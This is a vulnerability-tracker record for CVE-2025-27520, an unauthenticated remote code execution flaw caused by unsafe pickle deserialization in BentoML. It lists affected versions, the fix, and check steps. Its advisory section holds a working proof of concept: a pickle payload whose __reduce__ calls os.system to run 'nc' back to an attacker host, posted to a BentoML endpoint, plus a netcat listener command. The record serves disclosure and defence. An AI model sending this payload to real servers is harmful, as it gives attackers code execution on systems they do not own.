{"id":"CVE-2025-27520","kind":"vulnerability","aliases":["CVE-2025-27520","GHSA-33xw-247w-6hmc"],"related":[],"title":"BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization","description":"### Summary\nA Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.\n\n### Details\nIt exists an unsafe code segment in `serde.py`: \n```Python\ndef deserialize_value(self, payload: Payload) -> t.Any:\n    if \"buffer-lengths\" not in payload.metadata:\n        return pickle.loads(b\"\".join(payload.data))\n```\nThrough data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.\n\n### PoC\nEnvironment:\n\n- Server host:\n  - IP: 10.98.36.123\n  - OS: Ubuntu \n- Attack host:\n  - IP: 10.98.36.121\n  - OS: Ubuntu \n\n\n\n1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.\n\n1.1 Install BentoML (Server host: 10.98.36.123) :\n` pip install -U bentoml`\n\n1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) :\n``` Python\nfrom __future__ import annotations\n\nimport bentoml\n\n@bentoml.service(\n    resources={\"cpu\": \"4\"}\n)\nclass Summarization:\n    def __init__(self) -> None:\n        import torch\n        from transformers import pipeline\n\n        device = \"cuda\" if torch.cuda.is_available() else \"cpu\"\n        self.pipeline = pipeline('summarization', device=device)\n\n    @bentoml.api(batchable=True)\n    def summarize(self, texts: list[str]) -> list[str]:\n        results = self.pipeline(texts)\n        return [item['summary_text'] for item in results]\n```\n\n\n1.3 Run the service code (Server host: 10.98.36.123) :\n``` Bash\npip install torch transformers  # additional dependencies for local run\n\nbentoml serve\n```\n\n\n2. Start nc listening on the attacking host (Attack host: 10.98.36.121) :\n`nc -lvvp 1234`\n\n3. Send maliciously crafted request (Attack host: 10.98.36.121) :\n``` Python\nimport pickle\nimport os\nimport requests\n\nheaders = {'Content-Type': 'application/vnd.bentoml+pickle'}\n\nclass Evil:\n    def __reduce__(self):\n        return(os.system, ('nc 10.98.36.121 1234',))\n\npayload = pickle.dumps(Evil())\n\nrequests.post(\"http://10.98.36.123:3000/summarize\", data=payload, headers=headers)\n```\n\n\n4. Attack success (Attack host: 10.98.36.121) :\nThe server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234.\n![nc](https://github.com/user-attachments/assets/858cba4a-6880-498f-b922-dd9a2dc78a85)\n\n\n\n### Impact\nRemote Code Execution (RCE).","summary":"BentoML deserializes pickled request bodies sent to its API endpoints without validation, so a crafted pickle payload runs arbitrary code on the server. An unauthenticated remote attacker who can reach the service gets code execution with the service's privileges.","severity":"critical","cvss":9.8,"epss":0.4062,"exploited":false,"exploited_at":null,"products":[{"name":"bentoml","fixed":["1.4.3"],"affected":">= 1.3.4, < 1.4.3","ecosystem":"pypi"},{"name":"bentoml","fixed":[],"affected":">= 1.3.4, <= 1.4.2","ecosystem":"vendor"}],"ecosystems":["pypi","vendor"],"tags":["bentoml","cwe-502","ml-serving","package","python","self-hosted"],"not_affected_if":["fixed-version","internal-only-network","not-bentoml"],"how_to_check":"- Run `pip show bentoml` on the service host and check whether the version is at least `1.3.4` and below `1.4.3`\n- Look for services that accept requests with `Content-Type: application/vnd.bentoml+pickle` on their API routes","fix":"- Upgrade `bentoml` to `1.4.3` or later\n- Block untrusted network access to BentoML endpoints until upgraded","status":"open","published_at":"2025-04-04T15:15:47+00:00","first_seen_at":"2026-10-27T15:18:30+00:00","triaged_at":"2026-10-27T15:19:00+00:00","updated_at":"2026-10-27T15:32:59+00:00","category":"package","confidence":0.9,"triage":{"at":"2026-10-27T15:19:00Z","model":"claude-haiku-5-5","output":{"fix":"- Upgrade `bentoml` to `1.4.3` or later\n- Block untrusted network access to BentoML endpoints until upgraded","reach":"internet","title":"BentoML: unsafe pickle deserialization of HTTP request bodies enables remote code execution","impact":"high","summary":"BentoML deserializes pickled request bodies sent to its API endpoints without validation, so a crafted pickle payload runs arbitrary code on the server. An unauthenticated remote attacker who can reach the service gets code execution with the service's privileges.","category":"package","nicknames":[],"who_cares":["python","bentoml","self-hosted","ml-serving"],"confidence":0.9,"needs_auth":"no","worst_case":"Attacker runs arbitrary commands on the BentoML server","analyst_note":"","how_to_check":"- Run `pip show bentoml` on the service host and check whether the version is at least `1.3.4` and below `1.4.3`\n- Look for services that accept requests with `Content-Type: application/vnd.bentoml+pickle` on their API routes","needs_analyst":false,"not_affected_if":["fixed-version","not-bentoml","internal-only-network"],"who_is_affected":"Teams running BentoML services in the affected range that expose an API endpoint to a network where untrusted clients can send requests. The payload path is the HTTP request body parsed by the pickle serializer, so any service reachable by an attacker is exposed, while services only reachable from trusted internal callers carry less risk. Teams on `1.4.3` or later, or not running BentoML, can skip it.","user_interaction":"no","needs_special_setup":"no","severity_if_unknown":"critical"},"cost_usd":0.000723,"input_tokens":4334,"output_tokens":580,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2025':11A,19A '-27520':12A,20A '-502':25B '/bentoml/bentoml)':205C '/user-attachments/assets/858cba4a-6880-498f-b922-dd9a2dc78a85)':388C '1':194C '1.1':211C '1.2':221C '1.3':288C '10.98.36.121':191C,318C,329C,351C,368C,380C '10.98.36.123':185C,216C,230C,295C,357C,372C '1234':321C,352C,384C '2':308C '247w':16A '3':322C '3000/summarize':358C '33xw':15A '4':241C,363C '6hmc':17A 'action':177C 'addit':301C 'allow':2A,96C 'analysi':139C 'annot':235C 'api':42B,223C 'application/vnd.bentoml':341C 'arbitrari':52B,102C 'attack':60B,160C,188C,314C,316C,327C,364C,366C,377C 'avail':258C 'b':133C 'bash':296C 'batchabl':267C 'bentoml':1A,21A,22A,23B,34B,94C,200C,213C,220C,237C,306C 'bentoml.api':266C 'bentoml.service':238C 'bodi':38B 'buffer':126C 'buffer-length':125C 'caus':81C 'class':242C,343C 'code':4A,53B,67B,77C,103C,112C,169C,292C,391C 'confirm':142C 'connect':374C 'content':146C,339C 'content-typ':338C 'cpu':240C,260C 'craft':48B,171C,325C 'cuda':255C 'cve':10A,18A 'cwe':24B 'data':137C,173C,359C 'def':117C,244C,269C,345C 'defin':222C 'depend':302C 'deseri':9A,35B,84C,118C,179C 'detail':107C 'devic':254C,264C,265C 'due':161C 'els':259C 'endpoint':43B 'environ':181C,210C 'evil':344C,355C 'execut':5A,68B,78C,101C,175C,392C 'exist':109C 'file':227C 'flow':138C 'follow':195C 'fulli':156C 'futur':233C 'get':66B 'ghsa':14A 'ghsa-33xw-247w-6hmc':13A 'github.com':204C,387C 'github.com/bentoml/bentoml)':203C 'github.com/user-attachments/assets/858cba4a-6880-498f-b922-dd9a2dc78a85)':386C 'harm':176C 'header':337C,361C,362C 'host':33B,183C,189C,215C,229C,294C,315C,317C,328C,367C,371C,379C 'http':151C 'identifi':87C 'impact':389C 'import':234C,236C,248C,252C,331C,333C,335C 'init':245C 'insecur':8A,83C 'instal':212C,218C,298C 'instruct':197C 'ip':184C,190C 'item':281C,285C 'join':134C 'lack':164C 'latest':90C 'length':127C 'list':273C,275C 'listen':311C,381C 'local':304C 'lvvp':320C 'malici':170C,324C 'manipul':157C 'ml':27B 'ml-serv':26B 'nc':310C,319C,350C,385C 'none':247C 'offici':201C 'os':186C,192C,334C 'os.system':349C 'packag':29B 'payload':50B,121C,122C,145C,353C,360C 'payload.data':135C 'payload.metadata':130C 'pickl':36B,49B,332C,342C 'pickle.dumps':354C 'pickle.loads':132C 'pip':217C,297C 'pipelin':253C,262C 'poc':180C 'port':383C 'privileg':73B 'python':30B,116C,231C,330C 'rce':6A,79C,393C 'reach':63B 'readm':202C 'reduc':346C 'remot':3A,59B,76C,390C 'request':37B,152C,326C,336C 'requests.post':356C 'resourc':239C 'result':277C,287C 'return':131C,280C,348C 'run':51B,289C,305C 'segment':113C 'self':32B,120C,246C,271C,347C 'self-host':31B 'self.pipeline':261C,278C 'send':323C 'sent':39B 'serde.py':115C 'serial':172C 'serv':28B,307C 'server':56B,106C,182C,214C,228C,293C,370C 'servic':65B,71B,291C 'service.py':226C 'set':207C 'sourc':148C 'start':309C 'str':274C,276C 'success':365C 'summar':243C,263C,270C 'summari':74C,282C 't.any':123C 'text':272C,279C,283C 'torch':249C,299C 'torch.cuda.is':257C 'transform':251C,300C 'true':268C 'type':340C 'u':219C 'ubuntu':187C,193C 'unauthent':58B,98C 'unsaf':111C 'user':99C 'v1.4.2':92C 'valid':45B,166C 'valu':119C 'version':91C 'via':7A 'vulner':80C 'without':44B","nicknames":[],"mitigations":[],"who_affected":"Teams running BentoML services in the affected range that expose an API endpoint to a network where untrusted clients can send requests. The payload path is the HTTP request body parsed by the pickle serializer, so any service reachable by an attacker is exposed, while services only reachable from trusted internal callers carry less risk. Teams on `1.4.3` or later, or not running BentoML, can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2025-04-04T15:15:47+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-33xw-247w-6hmc","url":"https://github.com/advisories/GHSA-33xw-247w-6hmc","severity":"critical","published_at":"2025-04-04T16:05:32+00:00","modified_at":"2026-10-27T15:14:19+00:00","first_seen_at":"2026-10-27T15:18:30+00:00","fetched_at":"2026-10-27T15:18:30+00:00","note":null},{"source":"nvd","external_id":"CVE-2025-27520","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-27520","severity":null,"published_at":"2025-04-04T15:15:47+00:00","modified_at":"2026-06-17T09:03:44+00:00","first_seen_at":"2026-10-27T15:32:59+00:00","fetched_at":"2026-10-27T15:32:59+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}